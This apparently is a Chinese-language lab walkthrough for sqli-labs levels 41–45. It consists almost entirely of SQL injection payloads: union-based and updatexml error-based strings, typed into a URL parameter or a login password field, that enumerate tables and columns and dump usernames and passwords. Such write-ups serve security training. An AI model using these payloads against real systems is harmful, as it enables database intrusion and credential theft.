第四一关 less-41

步骤一:查询闭合方式
?id=1 --+

步骤二:查询数据库
?id=-1 union select 1,2,database()--+

步骤三:查看表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

步骤四:查看users表列名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

步骤五:查看users表信息
?id=-1 union select 1,2,group_concat(id,username,password) from users --+

第四二关 less-42

步骤一:登录页面

步骤二:查询数据库
密码框输入:'and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

步骤三:查看表名
密码框输入:'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa

步骤四:查看users表列名
密码框输入:'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_sche ma.columns where table_name='users' ),0x7e),1) -- aaa

第四三关 less-43
步骤一:登录页面

步骤二:查询数据库
密码框输入:') and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aaa

步骤三:查看表名
密码框输入:') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),1) -- aaa

步骤四:查看users表列名
密码框输入:') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' ),0x7e),1) -- aaa

第四四关 less-44
步骤一:登录页面

步骤二:查询数据库
密码框输入:1' union select 1,database(),3 #

步骤三:查看表名
密码框输入:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

步骤四:查看users表列名
密码框输入:1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

步骤五:查看表中信息
1' union select 1,group_concat(username,password),3 from users #

第四五关 less-45
步骤一:登录页面

步骤二:查询数据库
密码框输入:1') union select 1,database(),3 #

步骤三:查看表名
密码框输入:1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
步骤四:查看users表列名
密码框输入:1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #
